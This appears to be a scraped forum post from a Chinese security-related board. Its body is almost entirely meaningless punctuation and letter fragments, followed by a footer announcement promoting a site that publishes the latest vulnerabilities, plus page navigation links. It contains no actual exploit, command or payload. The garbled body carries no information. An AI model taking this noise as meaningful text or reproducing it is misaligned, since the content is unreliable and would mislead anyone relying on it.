: v- Q5 j% k: g9 n+ V; ~

8 `& ]: P$ Z- L$ ?! }3 q' B/ G  ?# L( ~9 ~, A' g; @

  O. c' o$ T7 J7 S! I9 ]- k2 U: R8 }, B! D! U3 K! g

7 |3 @7 c5 ^0 Z" S9 a3 p) k) h2 s, l% E1 T- S% s

* F; C. }6 @6 X2 L
( a) [: v2 h( B+ L) ^+ w
3 W( H$ o7 E9 |
6 f. E' J1 a" v
& r4 y5 g5 e2 f# q  d( M! [7 _9 |# W( A

. @9 E% K" i, S# P! f0 t5 o; \
* H) x- b, y* B6 c
7 J. o( k. V3 o2 r" j/ t" v0 v& l& J7 n8 f+ a! ~# o% l

/ Y2 v( ^' y/ v2 j. q# |公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表